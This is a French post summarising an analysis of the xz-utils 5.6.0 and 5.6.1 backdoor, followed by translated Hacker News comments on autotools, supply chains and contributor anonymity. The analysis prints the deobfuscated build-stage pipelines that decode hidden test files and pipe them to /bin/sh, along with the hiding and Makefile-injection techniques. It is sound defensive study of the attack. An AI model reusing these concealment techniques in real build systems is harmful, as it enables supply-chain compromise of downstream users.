1 points par GN⁺ 2024-04-03 | 1 commentaires | Partager sur WhatsApp
  • L’attaque contre xz se décompose en une injection de code shell à l’étape configure et une injection de fichier objet à l’étape make ; cette analyse retrace la manière dont les scripts des tarballs de distribution xz 5.6.0 et 5.6.1 introduisent un fichier objet de backdoor dans la compilation
  • Le code malveillant et le fichier objet étaient dissimulés, compressés et chiffrés comme des fichiers d’entrée de test binaires dans tests/files, et la description existante du README — des « fichiers de test fabriqués à la main » — facilitait le camouflage
  • Le code ajouté à m4/build-to-host.m4 cherche bad-3-corrupt_lzma2.xz, le restaure avec tr et xz -d, puis l’exécute avec /bin/sh ; la version 5.6.1 contient aussi un mécanisme d’extension qui recherche des scripts supplémentaires dans de nouveaux fichiers de test
  • Le script configure modifie src/liblzma/Makefile et libtool pour réexécuter le script caché pendant make, et ajuste -z,now ainsi que des flags liés à PIC afin que l’ifunc resolver s’exécute au moment de l’édition de liens dynamique initiale
  • À l’étape make, il extrait et déchiffre l’objet malveillant depuis good-large_compressed.lzma, puis remplace les artefacts de compilation de crc64_fast.c et crc32_fast.c, afin d’intercepter les appels à RSA_public_decrypt via _get_cpuid

Structure globale de l’attaque

  • Andres Freund a signalé l’existence de l’attaque contre xz le 29 mars 2024 sur la liste de diffusion publique oss-security@openwall
    • Il l’avait également signalée la veille à Debian security et à la liste privée distros@openwall
    • Le déclencheur a été l’observation, sur une installation Debian sid, d’anomalies liées à liblzma : forte utilisation CPU lors des connexions SSH et erreurs Valgrind
  • L’attaque comporte deux grandes étapes
    • Du code shell est injecté pendant configure
    • Ce code shell réinjecte du code shell dans make, puis ajoute un fichier objet malveillant à la compilation pendant make
  • Placer directement un fichier objet malveillant nommé evil.o dans le dépôt aurait facilement éveillé les soupçons ; l’attaquant a donc dissimulé le code shell et le fichier objet, compressés et chiffrés, dans des fichiers d’entrée de test binaires
  • Le répertoire tests/files existait avant l’arrivée de Jia Tan, et son README explique qu’il contient des fichiers destinés à tester les implémentations de décodeurs .xz, .lzma et .lz, dont certains ont été créés directement avec un éditeur hexadécimal, « sans meilleur code source que le fichier lui-même »
  • L’attaquant s’est servi de ce contexte pour donner l’impression d’ajouter simplement quelques nouveaux fichiers de test

Point d’exécution visé par la backdoor

  • L’effet final du script est de faire appeler la fonction _get_cpuid du fichier objet malveillant comme partie d’un GNU indirect function resolver (ifunc)
  • Un ifunc resolver peut généralement être appelé de façon différée pendant l’exécution d’un programme, mais, pour des raisons de sécurité, il est courant de tout appeler au début de l’édition de liens dynamique, puis de mapper la GOT et la PLT en lecture seule
  • L’ifunc resolver malveillant peut s’exécuter très tôt, lorsque la GOT et la PLT sont encore modifiables
  • La backdoor recherche RSA_public_decrypt dans la table et la remplace par la version de l’attaquant
  • La fonction remplacée exécute le code de l’attaquant lorsqu’un certificat SSH valide est présenté

Étape configure : camouflage dans build-to-host.m4

  • xz-utils utilise GNU autoconf ; en général, configure et les fichiers m4 de support sont inclus dans les tarballs de distribution, et non dans le dépôt source
  • L’attaque commence par l’ajout inattendu d’une bibliothèque de support m4/build-to-host.m4 dans les tarballs xz 5.6.0 et xz 5.6.1
  • Le fichier build-to-host.m4 malveillant contient des modifications plausibles par rapport au fichier standard
    • Le numéro de série passe de 3 à 30
    • L’année de copyright passe de 2023 à 2023-2024
    • Plusieurs changements shell et m4 difficiles à lire sont ajoutés
  • Le cœur réel est le code qui cherche un motif précis dans la distribution avec grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/
    • Le fichier correspondant à ce motif est ./tests/files/bad-3-corrupt_lzma2.xz
    • En conséquence, gl_am_configmake pointe vers ce fichier de test
  • gl_path_map est défini sur tr "\t \-_" " \t_\-", ce qui permute tabulations et espaces, ainsi que underscores et tirets

Restauration du premier script caché

  • gl_[$1]_prefix extrait l’élément situé après le dernier point du nom de fichier, ce qui donne xz
    • Le nom ressemble à un préfixe, mais il s’agit en réalité de l’extension du fichier
    • Il devient le nom d’une commande de compression qui a de bonnes chances d’être déjà installée sur la machine de build
  • La chaîne de commande ensuite produite semble utiliser sed "r\n", mais elle est en réalité proche d’un cat obfusqué
    • Dans sed, r\n est une commande qui tente de lire un fichier inexistant \n, et ne fait donc rien
    • Comme il n’y a pas -n, l’entrée est imprimée telle quelle
  • La commande réellement exécutée prend la forme suivante
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
  • Cette commande est évaluée pendant l’exécution de config.status via AC_CONFIG_COMMANDS
  • La sortie restaurée contient ####Hello#### et ####World#### ; d’après le README, les premier et troisième flux de bad-3-corrupt_lzma2.xz sont des flux xz valides, seul le flux central ayant des données LZMA2 corrompues

Différences entre 5.6.0 et 5.6.1

  • Dans xz 5.6.0, le premier script restauré découpe une plage d’octets précise dans good-large_compressed.lzma, la transforme, puis la décompresse comme flux LZMA brut avant de la transmettre à /bin/sh
  • Le premier script de xz 5.6.1 contient cinq fois une ligne destinée à quitter si le système n’est pas Linux
    • [ ! $(uname) = "Linux" ] && exit 0
    • Le long script analysé ensuite contient lui aussi une ligne de vérification Linux propre à la 5.6.1
    • Cette ligne comporte un bug : l’absence d’espaces autour de = l’empêche de fonctionner
  • En 5.6.1, le nombre final d’octets lu par head, l’offset de tail et les arguments de tr diffèrent de ceux de la 5.6.0
    • Dans l’exemple, la 5.6.1 extrait 16×2048+939 = 33 707 octets
    • Ensuite, tail -c +31233 utilise les 31 233 derniers octets
  • Le pipeline d’extraction se compose des étapes suivantes
    • Décompression de good-large_compressed.lzma avec xz -dc
    • Extraction d’une plage d’octets précise via un pipeline head
    • Sélection de la partie finale avec tail
    • Application d’un chiffrement par simple substitution avec tr
    • Décompression d’un flux LZMA brut avec xz -F raw --lzma1 -dc
    • Exécution du résultat avec /bin/sh

Mécanisme d’extension de la 5.6.1

  • Le long script contient plusieurs points qui exécutent avec eval des variables non définies
    • Par exemple : eval $zrKcVq, eval $zrKcSS
    • Il peut s’agir de sorties de debug ou de points d’extension dont les valeurs pourraient être définies plus tard par un autre mécanisme
  • Si config.status existe, le script lit LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map, etc.
  • Le code d’extension ajouté en 5.6.1 recherche deux chaînes magiques dans tests/files
    • Chaîne de début : ~!:_ W
    • Chaîne de fin : |_!{ -
  • Si les deux chaînes se trouvent dans le même fichier, les octets entre elles sont extraits, passent par tr et une décompression LZMA2 brute, puis la sortie est exécutée avec eval
  • Ce mécanisme semble conçu pour permettre d’insérer ultérieurement un nouveau script dans un autre fichier de test, sans devoir justifier la régénération des fichiers de test binaires existants

Conditions d’exécution à l’étape configure

  • Le script quitte silencieusement si les conditions nécessaires à la backdoor ne sont pas réunies
  • La prise en charge de GNU ifunc doit être activée
    • config.status doit contenir ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"
    • config.h doit contenir define HAVE_FUNC_ATTRIBUTE_IFUNC 1
  • La compilation en bibliothèque partagée doit être activée
    • enable_shared doit valoir yes
  • La cible de build doit être Linux x86-64
    • build doit satisfaire les conditions ^x86_64 et linux-gnu$
  • Les sources liées au CRC ifunc doivent être intactes
    • crc64_fast.c
    • crc32_fast.c
    • crc_x86_clmul.h
  • Les conditions sur le compilateur et l’éditeur de liens sont également vérifiées
    • GCC=yes
    • CC=gcc
    • La sortie de LD -v contient GNU ld
  • Les fichiers de test contenant la backdoor, good-large_compressed.lzma et bad-3-corrupt_lzma2.xz, doivent être présents

Modification de Makefile et libtool

  • Si debian/rules existe ou si RPM_ARCH=x86_64, le code qui modifie src/liblzma/Makefile est exécuté pendant l’étape configure
  • Il vérifie d’abord que plusieurs lignes à utiliser plus tard comme points d’insertion existent dans le Makefile
    • ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
    • am__uninstall_files_from_dir = {
    • am__install_max =
    • am__vpath_adj_setup =
    • am__include = include
    • all: all-recursive
    • LTLIBRARIES = $(lib_LTLIBRARIES)
    • AM_V_CCLD = $(am__v_CCLD_$(V))
  • Dans libtool, il vérifie la présence de pic_flag=" -fPIC -DPIC"
  • Ensuite, sed -i insère à divers endroits du Makefile des lignes de la nature suivante
    • am__test = bad-3-corrupt_lzma2.xz
    • am__strip_prefix = tr ...
    • am__dist_setup = ... | xz -d ... | $(SHELL)
    • am__test_dir = $(top_srcdir)/tests/files/$(am__test)
  • Malgré son nom, am__test_dir semble désigner un répertoire, mais pointe en réalité vers un fichier
  • Les lignes ajoutées ne sont pas regroupées au même endroit : elles sont dispersées dans le Makefile, afin que le Makefile généré paraisse plausiblement complexe

Flags de l’éditeur de liens et exécution récursive

  • Le script de l’étape configure ajoute -Wl,--sort-section=name,-X à liblzma_la_LDFLAGS
  • Si les LDFLAGS existants ne contiennent pas -z,now ou -z -Wl,now, il ajoute également -z,now
  • -Wl,now force le chargeur dynamique à résoudre tous les symboles au démarrage du programme, reproduisant le comportement de LD_BIND_NOW
    • Au cours de ce processus, l’ifunc resolver est exécuté au démarrage
    • La backdoor peut s’exécuter pendant que la GOT et la PLT sont encore modifiables
  • Les flags PIC de libtool sont modifiés comme suit
    • Ancien : -fPIC -DPIC
    • Nouveau : -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
  • Le script ajoute aussi AM_V_CCLD et un long fragment shell au Makefile
    • À la fin, il exécute sed rpath $(am__test_dir) | $(am__dist_setup)
    • sed rpath joue là encore le rôle d’un cat obfusqué
  • En conséquence, pendant make, le pipeline suivant est de nouveau exécuté
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh

Étape make : extraction du fichier objet

  • Pendant make, le script est réexécuté depuis le répertoire src/liblzma
  • Comme config.status n’est pas dans le répertoire courant, la partie qui modifie le Makefile à l’étape configure est ignorée
  • À la place, si .libs/liblzma_la-crc64_fast.o et .libs/liblzma_la-crc32_fast.o existent, le script considère qu’il est en cours de make et exécute le code suivant
  • La 5.6.1 ajoute aussi un hook d’extension pour l’étape make
    • Chaîne de début : jV!.^%
    • Chaîne de fin : %.R.1Z
    • Aucun fichier de test ne contient ces chaînes ; cela semble être une structure destinée à de futures extensions
  • Il vérifie de nouveau que les sources liées au CRC ifunc correspondent à ce qui est attendu
  • Il vérifie aussi que les flags de compilation et d’édition de liens ajoutés à l’étape configure ont bien été appliqués
    • ../../libtool doit contenir les flags PIC supplémentaires
    • liblzma_la_LINK doit contenir -z,now ou -z -Wl,now
    • Si lazy est présent, il quitte

Déchiffrement et sélection de l’objet malveillant

  • Le script choisit l’une de deux valeurs d’offset selon le contenu de gettext.m4
    • Le gettext.m4 du tarball xz distribué ne contient pas la chaîne testée ; dans l’exemple de build, toute l’entrée est donc prise
  • Il décompresse de nouveau good-large_compressed.lzma, puis extrait 33 707 octets avec le pipeline head défini précédemment, i
  • Il découpe cette sortie octet par octet, puis exécute avec awk une fonction de déchiffrement similaire à RC4
    • Dans la version 5.6.1, la seconde boucle itère jusqu’à 8192
    • Dans la version 5.6.0, la boucle située au même endroit itère jusqu’à 4096
  • La sortie déchiffrée est ensuite de nouveau décompressée avec xz -dc --single-stream
    • --single-stream s’arrête au premier marqueur EOF xz, afin de ne pas lire la zone précédemment extraite avec tail
  • Le résultat final est écrit dans liblzma_la-crc64-fast.o

Remplacement des objets CRC

  • Le script sauvegarde l’artefact réellement compilé .libs/liblzma_la-crc64_fast.o sous un nom similaire, .libs/liblzma_la-crc64-fast.o
    • Il exploite la différence entre underscore (crc64_fast) et tiret (crc64-fast)
  • Il compile ensuite le contenu de crc64_fast.c modifié avec sed, en ajoutant en entrée l’objet malveillant extrait liblzma_la-crc64-fast.o, afin d’écraser .libs/liblzma_la-crc64_fast.o
  • Le code C inséré crée une nouvelle fonction _is_arch_extension_supported, qui appelle _get_cpuid en interne
  • L’ancien crc64_resolve est modifié pour appeler _is_arch_extension_supported() au lieu de is_arch_extension_supported()
  • _get_cpuid est une fonction fournie par l’objet de backdoor, qui effectue des actions supplémentaires avant de renvoyer les informations CPUID
    • Elle modifie notamment la GOT et la PLT pour intercepter les appels à RSA_public_decrypt

Traitement côté crc32 et nettoyage

  • Si la modification de crc64 réussit, le script applique une modification similaire à crc32_fast.c
  • Côté crc32, il n’ajoute pas le fichier objet de backdoor
    • Cela évite d’inclure deux fois l’objet de backdoor dans la compilation
  • La raison pour laquelle les ifunc crc32 et crc64 sont tous deux interceptés n’est pas claire
    • L’analyse estime qu’un seul des deux aurait probablement suffi
    • Il est possible que l’objectif ait été de faire en sorte que les deux codes de dispatch se ressemblent dans un debugger
  • Si les deux compilations réussissent, .la est de nouveau lié via liblzma_la_LINK
  • Si l’édition de liens réussit mais que .libs/liblzma.so n’existe pas, l’opération est considérée comme un échec et la sauvegarde est restaurée
  • Quel que soit le résultat, .libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai et .libs/liblzma.so* sont supprimés
    • Le script suppose que l’étape de lien originale du Makefile les régénérera ensuite
  • En cas d’échec, les objets crc32 et crc64 sauvegardés sont restaurés sous leurs noms d’origine
  • Enfin, les fichiers temporaires et de sauvegarde sont supprimés, de sorte que l’objet malveillant soit injecté dans les artefacts de make sans laisser de traces

1 commentaires

 
GN⁺ 2024-04-03
Avis sur Hacker News
  • En tant que personne qui déteste autotools depuis longtemps, j’aimerais dire que cette affaire me donne raison, mais tout système de build suffisamment complexe pour prendre en charge plusieurs plateformes finit forcément par devenir assez impénétrable pour que quelqu’un puisse y glisser ce genre de chose.
    Cela dit, c’est vraiment un problème que tant de logiciels soient en pratique construits par de gigantesques scripts shell cargo-cult, que presque personne ne comprend dans leur ensemble.

    • Je pense que la cause profonde est l’usage courant de bash et d’autres langages à la syntaxe complexe et dense.
      Si les scripts de build avaient été écrits en Python, il aurait été beaucoup plus difficile d’obfusquer la backdoor. Tout le monde aurait vu que le code était bizarre. Le code bash a tendance à être considéré comme normal même quand il est illisible.
    • Je comprends les critiques contre autotools, et je n’ai jamais envié les gens qui maintenaient des scripts de configuration, mais en tant qu’utilisateur, l’époque où l’installation de presque tous les logiciels se résumait à ./configure && make && make install me manque.
    • autotools devrait disparaître, mais la plupart des cas d’usage fondamentaux qui créent la complexité des systèmes de build se ramènent à la gestion et à la détection des dépendances.
      L’absence totale de bonnes pratiques pour ce flux est à la racine de cette complexité ; dans ces conditions, un simple fichier de configuration de build comme mybuild.toml ne peut pas résoudre le problème.
    • Je suis d’accord : au final, vouloir prendre en charge un éventail de plateformes aussi large impose un système complexe, ce qui amène à se demander quel risque énorme nous acceptons.
      Et je me demande aussi pourquoi il faut un système complexe pour construire quelque chose comme une bibliothèque de compression, qui fondamentalement ne devrait faire que des maths et de l’allocation mémoire.
    • Je pense pareil. La tentation est grande de rejeter toute cette affaire sur m4, mais c’est plutôt le traumatisme qui parle.
  • En tant que développeur, c’est stupéfiant, et cela montre que ce qui me semble être une technique d’attaque de tout premier ordre n’est peut-être qu’un niveau débutant/intermédiaire pour les gens qui travaillent à ce niveau.
    Il y a sur HN des choses d’un niveau bien supérieur à celle-ci, donc avec assez d’argent ou d’autres incitations, ce n’est probablement que le début de ce qui est possible. Quand on pense aux innombrables packages sur GitHub et aux millions de bibliothèques, ce vecteur est tellement efficace que je suis convaincu que des centaines de cas similaires seront révélés dans les prochains mois.
    Je m’inquiète pour les fabricants de matériel grand public et prosumer, de Philips Hue à Alexa, SumUp, les fabricants de caméras, Netgear et TP-Link. Leurs produits sont remplis de bibliothèques open source, et je suis certain à 100 % que la plupart des équipes de développement ne passent pas leur temps à chercher ce genre de vecteur d’injection furtif.

    • J’ai du mal à comprendre l’argument selon lequel « la plupart des équipes de développement ne passent pas leur temps à chercher ce genre de vecteur d’injection furtif » ; j’ai l’impression que le camp qui critique l’enfer des dépendances utilise ce scénario pour faire paraître les mainteneurs open source encore pires.
      Une organisation commerciale qui met en avant la fiabilité réalise une analyse de la chaîne d’approvisionnement avant d’adopter des dépendances. C’est généralement pour cela qu’on paie Red Hat pour maintenir une distribution Linux stable, et que des projets comme FreeBSD limitent fortement les logiciels inclus dans l’installation de base.
      Si vous avez été touché par cette affaire, c’est regrettable, mais c’est votre responsabilité. Si vous craignez qu’un développeur de logiciel que vous utilisez gratuitement, comme une bière offerte, change soudain d’attitude, donnez-lui une incitation à ne pas le faire — autrement dit, payez-le — ou bien forkez le projet et ajoutez-y vos propres mesures de sécurité.
      Si vous vous inquiétez d’une attaque de chaîne d’approvisionnement dans les dépendances d’un logiciel commercial, vous devriez négocier un contrat qui couvre l’indemnisation de ce préjudice. Si vous n’êtes pas prêt à le faire, ce n’est pas professionnel.
      Et j’ajoute que je dis très sérieusement qu’il faut vérifier la chaîne d’approvisionnement même pour des dépendances aussi fondamentales que SSH.
    • C’est plutôt l’inverse. Des développeurs et mainteneurs qui s’y connaissent mieux que nous ont décrit cet incident comme une attaque extrêmement sophistiquée.
      Les premiers billets d’infosec ne pouvaient expliquer qu’une partie du code et ne couvraient pas la stratégie globale de l’attaque. C’est parce que l’attaque et le code étaient sophistiqués. Si les premières analyses décrivaient l’attaque différemment, c’est aussi parce qu’elle n’était pas simple à comprendre ; ce n’est que plus tard qu’on a vu des articles du genre « cela ressemble enfin à une attaque d’exécution de code à distance ».
      Maintenant qu’il existe même des scanners pour détecter la vulnérabilité sur les serveurs, tout le monde peut dire : « ah, c’était une attaque tellement simple et stupide, pourquoi ne l’a-t-on pas trouvée plus tôt ? »
    • C’est pourquoi je ne vois pas comme un avantage le fait que TP-Link base le firmware de ses routeurs sur OpenWRT. Sur mes appareils, je veux que tourne le projet upstream vanilla, ou quelque chose qui suit l’upstream par conception.
      Cela vaut pour tous les appareils. Je n’aime pas non plus qu’Android doive utiliser d’anciens kernels, ni que macOS ait fait tourner une vieille lignée Darwin/BSD. L’effort nécessaire au backporting m’inquiète.
      Bien sûr, cela ne veut pas dire qu’il n’y a pas de vulnérabilités dans l’open source.
    • Toute organisation un tant soit peu correctement gérée dispose d’un mécanisme pour recevoir des mises à jour lorsqu’une dépendance présente un problème de sécurité. Selon le secteur, des régulateurs ou organismes de certification comme PCI peuvent même l’exiger.
      Il faudrait peut-être plutôt craindre les backdoors invisibles dans les logiciels propriétaires, qui ne seront presque jamais découvertes.
  • Il me semble que l’infographie de Thomas Roccia n’a pas encore été mentionnée ici : https://twitter.com/fr0gger_/status/1774342248437813525

    • Une grande partie donne l’impression de relier de force des indices sans véritable fondement.
      Par exemple, oss-fuzz clonait directement le dépôt GitHub pour construire xz. La backdoor n’était pas dans le dépôt, seulement dans le tarball, donc oss-fuzz n’avait aucune chance de la découvrir. Par conséquent, cette PR oss-fuzz pouvait être un vrai changement sans rapport avec la backdoor.
    • Jia Tan a demandé aux distributions de faire une mise à jour rapide juste avant la divulgation publique.
      Quelle est la probabilité qu’un autre compte ou une autre personne, dans l’entourage d’Andreas Freund, ait appris plus tôt que la backdoor allait être rendue publique ? Cela fait aussi penser qu’il pourrait encore y avoir d’autres initiés dans les parages.
    • Ce document ne montre qu’à haut niveau une partie de la manière dont l’exploit est injecté dans liblzma ; il n’aborde pas du tout son fonctionnement ni son contenu.
    • Si l’on regarde la chronologie, l’attaque commence par l’ajout d’entrées à ignorer dans le fichier .gitignore. De nos jours, ce genre de chose est difficile à détecter.
  • Du point de vue d’un observateur naïf, la partie la plus frappante est celle-ci
    « De nombreux fichiers ayant été créés manuellement avec un éditeur hexadécimal, il n’existe pas de “code source” meilleur que les fichiers eux-mêmes. » Je comprends que ce soit possible dans une bibliothèque de parsing comme liblzma. L’attaquant devait avoir l’air de simplement ajouter quelques nouveaux fichiers de test
    Les fichiers eux-mêmes font peur, mais je comprends pourquoi. Malgré tout, ne pourrait-on pas au moins les séparer du build ?
    « D’ordinaire, les scripts configure et les bibliothèques de support ne sont ajoutés qu’aux distributions tarball, pas au dépôt source. La distribution de xz fonctionne ainsi. »
    En mettant de côté l’indignation rituelle contre autotools, je ne vois pas pourquoi des fichiers de test devraient se trouver dans le tarball. Des tests malveillants pourraient certes infecter la machine d’un développeur, mais si le tarball sert à construire l’artefact final, la règle ne devrait-elle pas être de n’inclure que le nécessaire ? À plus forte raison lorsque les fichiers de test sont des blobs binaires impossibles à auditer

    • Il est assez courant de lancer les tests en CI après le build pour vérifier qu’il n’y a pas de problème dans certains environnements
      Cela dit, la dernière fois que nous avons fait cela, nous privilégiions le Git amont et générions nous-mêmes les artefacts autoconf nécessaires. Le concept de tarball de release contenant des éléments absents de Git ne m’a jamais plu
    • Même s’ils contiennent une certaine quantité de code autoconf généré, ce sont toujours des tarballs source
      Il faut pouvoir compiler le code sur la machine cible, puis exécuter les tests
    • En plus de vérifier que le programme compilé sur la cible fonctionne correctement, compiler avec de l’optimisation guidée par profil nécessite des tests, car il faut des exemples d’exécution à optimiser
  • « La première différence est que le script fait en sorte de se terminer obligatoirement, et de façon très certaine, s’il n’est pas exécuté sous Linux. »
    Les vérifications répétées sont clairement un mystère. Mon hypothèse est que l’attaquant a pu ajouter ces répétitions pour que cela ressemble à une entrée de test plausible pour une bibliothèque de compression

    • Le but pouvait être de réserver de l’espace pour modifier le script. On peut ainsi écraser les premiers octets du script
      Ou alors c’était juste de la paresse
    • J’ai trouvé ça étrange moi aussi. Au début du script, il y a aussi différents octets aléatoires ajoutés, et ce ne sont pas du texte mais de véritables octets aléatoires. Cela dit, comme ils sont précédés d’un signe dièse, ils sont traités comme des commentaires et n’affectent pas le script
      Ça semble intentionnel, mais je ne sais pas pourquoi c’est là. Je me suis demandé si c’était ajouté pour remplir la taille, xz pouvant sauter la compression si l’entrée est trop courte ou pas assez complexe, mais même après les avoir retirés et recompressés avec xz, la compression fonctionnait correctement et le texte en clair d’origine ne restait pas dans les octets de l’archive compressée
      Ce que j’ai découvert en essayant de reproduire les octets exacts du fichier .xz commité dans Git, c’est que le flux xz de ce script ne semble pas avoir été compressé avec le préréglage xz par défaut. Il fallait utiliser xz --lzma2=dict=65536 -c stream_2 pour le reproduire, et tous les préréglages numériques par défaut choisissaient une taille de dictionnaire différente. Cela aussi paraît intentionnel, mais je n’en comprends pas la raison
    • Ce n’était peut-être pas pour agrandir ou obscurcir une partie du fichier de test compressé ?
      Sans les répétitions, le fichier compressé aurait peut-être contenu un binaire étrange susceptible de déclencher des outils de sécurité ou des antivirus
    • Est-ce vraiment un mystère ? L’attaquant visait probablement Linux x86, et la prise en charge d’IFUNC n’est pas garantie sur les autres plateformes
    • S’il avait été exécuté ailleurs que sous Linux, il aurait peut-être pu planter ou laisser des traces à cause de différences entre systèmes d’exploitation, et se faire repérer
  • Il est tragiquement drôle de voir à quel point la technologie moderne est devenue monstrueusement complexe et inutilement impénétrable, et cela ne fait qu’empirer. On dirait que les développeurs prennent un plaisir sadique à cela

    • C’est sans doute l’interprétation la plus défavorable
      Il est assez impressionnant que les outils suivent l’augmentation de la complexité des produits que nous construisons. Honnêtement, dans la plupart des cas, les choses deviennent simplement plus simples, et c’est plutôt que les gens n’aiment pas apprendre de nouvelles choses
  • Quelqu’un qui a recruté ces personnes pour infiltrer ce projet a dû consacrer énormément de temps à faire en sorte que cela échappe longtemps à la détection. Heureusement, c’était trop complexe pour que tous les éléments soient pris en compte
    C’est pour ça que, sur le plan de la sécurité, je pense que l’open source sera toujours préférable au code fermé. Bien sûr, cet incident a révélé une énorme faille de la chaîne d’approvisionnement, et montré à quel point les composants de base du FOSS sont sous-estimés, au point de rendre les mainteneurs vulnérables à la manipulation
    Mais si la même attaque s’était produite au sein d’une entreprise privée ? Il n’aurait probablement même pas fallu d’obfuscation avancée. Avec une PR suffisamment grosse et une échéance qui approche, on peut faire passer ce genre de chose en douce dans des systèmes de production avec un minimum d’effort. Le temps que l’entreprise comprenne ce qui s’est passé, on serait déjà parti dans un pays sans traité d’extradition, en train de vendre les données exfiltrées sur Tor ou le dark web

    • Je pense qu’il y a ici un biais du survivant. Comment savoir combien de tentatives similaires ont réussi ? Parmi celles qui ont été découvertes, combien ont été mises sur le compte d’une simple erreur ? Par exemple, comment être certain que Heartbleed n’a pas été introduit intentionnellement par quelqu’un, et que cette personne n’est pas aujourd’hui immensément riche ?
      Quand une entreprise privée vous embauche, elle sait qui vous êtes. C’est en soi un frein immédiat aux comportements suspects. Sur GitHub, personne ne sait qui vous êtes. Il est peut-être plus difficile de mettre une backdoor dans un projet sans se faire prendre, mais si vous vous faites prendre, vous ne risquez rien. Vous pouvez réessayer autant de fois que vous voulez. Jia Tan n’a toujours pas été arrêté, et il n’a même pas eu besoin de construire toute sa vie autour de l’idée d’habiter dans un pays sans traité d’extradition. Sauf s’il y était déjà
    • Je ne suis pas d’accord. La plupart des entreprises privées exigeront une rencontre en personne à l’embauche. Même en full remote, on s’attend à rencontrer un jour ses collègues dans la vraie vie, et ce sera généralement avant d’effectuer des commits significatifs. Une entreprise qui vaut la peine d’être infiltrée exigera presque certainement une vérification d’identité
      Et même une fois à l’intérieur, on ne peut pas commiter librement dans le projet cible. Votre manager et le manager de votre manager ont d’autres priorités. La gestion souvent dysfonctionnelle des entreprises commerciales agit ici plutôt comme un frein. Il faut justifier le code lui-même, mais aussi expliquer pourquoi on travaillait là-dessus au départ
    • Un peu hors sujet, mais de nos jours, du point de vue des États-Unis, combien y a-t-il vraiment de pays sans traité d’extradition ?
      Même des pays aux relations tendues peuvent extrader quelqu’un dans le cadre d’un accord si c’est politiquement pratique. La Russie n’aurait probablement pas gardé Snowden si celui-ci n’avait pas révélé des secrets d’État. S’il s’était agi d’une fuite de données ordinaire, ils l’auraient peut-être échangé contre un oligarque arrêté ailleurs pour blanchiment d’argent
    • Ce pourrait être un projet de cours intéressant que d’examiner de petits projets qui semblent relativement inoffensifs mais sont utilisés presque partout, pour voir s’ils pourraient être traités de la même manière ou si quelque chose de similaire s’est déjà produit
      Rien que dresser la liste serait déjà utile
  • La leçon à tirer de cet incident est peut-être qu’il ne faudrait pas autoriser l’anonymat pour les contributeurs clés de projets open source importants. Cette attaque a réussi et l’attaquant s’en sortira probablement sans aucune conséquence, parce qu’il était anonyme

    • Pas d’accord
      Une telle mesure n’aiderait pas, et un acteur étatique ou une menace persistante avancée similaire pourrait facilement la contourner en ajoutant simplement une usurpation d’identité à la phase d’attaque, ou en utilisant un agent qu’il peut protéger même si la backdoor est découverte
      En revanche, les barrières techniques nécessaires à une telle procédure risqueraient de causer de gros dégâts à l’ensemble de la communauté open source
      La solution ici consiste à tirer les leçons de cette attaque et à adopter des pratiques qui rendent les attaques similaires plus difficiles. Les fichiers absents du dépôt ne devraient jamais être inclus dans les tarballs de release. Tout le code généré qui en résulte doit être commité, et les scripts de build doivent régénérer le code dérivé puis échouer si celui-ci diffère du code commité. Les données difficiles à comprendre ne devraient pas être accessibles pendant le processus de build de release, et les tests qui dépendent de données binaires doivent être buildés complètement séparément des binaires de release
    • Il y a deux problèmes
      Premièrement, beaucoup de contributeurs importants, en particulier dans le domaine de la sécurité, préfèrent contribuer sous pseudonyme pour des raisons valables. Les forcer à révéler leur identité les ferait partir
      Deuxièmement, si, comme beaucoup le supposent, une agence de renseignement est derrière tout cela, elle peut de toute façon fabriquer une « vraie » identité. Au final, on exclurait des gens utiles sans exclure les attaquants
    • Non seulement ce serait impossible à appliquer, mais ce n’est peut-être même pas une bonne idée. Connaître l’identité des mainteneurs de projets open source importants rendrait en effet plus facile de leur mettre la pression
    • Si c’est un acteur étatique, comme cela semble effectivement être le cas, quelle vérification peut-on faire ? Permis de conduire, numéro de sécurité sociale, carte d’identité nationale, passeport : ils pourraient produire n’importe quel document légal
      Si un gouvernement est impliqué, il n’y a pas de limite. Le seul moyen serait d’exiger une présence physique dans un lieu de confiance, en espérant simplement que ce lieu ne relève pas de la juridiction de l’attaquant
    • Qui décide de ce qui est un projet important, et sur quels critères ?
      Si quelqu’un crée une bibliothèque et que d’autres commencent à l’utiliser, sera-t-il forcé de révéler son identité ? Le mainteneur sera-t-il payé ?
  • Si vous avez déjà travaillé dans le développement, fermé ou ouvert, vous savez que les développeurs approuvent souvent les PR à moitié par paresse. Linus Torvalds est plutôt une rare exception, quelqu’un qui passe sa journée à signaler les problèmes

    • D’accord
      Quand quelqu’un est assez pointilleux pour vraiment faire attention, il est facilement perçu comme un casse-pieds qui bloque le développement. Le fait de chercher la petite bête crée des tensions avec l’équipe
      Pour être transparent, je vis actuellement une situation similaire. Ce n’est pas moi qui suis pointilleux, mais l’un des développeurs que j’ai embauchés. Malheureusement, son comportement méticuleux n’a pas été bien accueilli, et j’ai dû le retirer de l’équipe. Le fait qu’il vienne d’Europe de l’Est et donne donc des retours très directs n’a pas aidé
  • Les utilitaires Unix ont été éprouvés pendant longtemps. J’aimerais qu’on fige le noyau et les utilitaires de base, et qu’on n’y touche plus. Sauf si c’est vraiment nécessaire
    Si ce n’est pas cassé, ne le réparez pas. L’empire logiciel semble hors de contrôle

    • Tout est cassé. C’est le résultat de hacks rapides destinés à faire fonctionner à peu près les choses aujourd’hui, accumulés sur 50 ans et un million de développeurs
      Il y a parfois des exemples brillants de choses bien conçues, mais dans l’ensemble, il faut bien reconnaître qu’elles ont été complètement marginalisées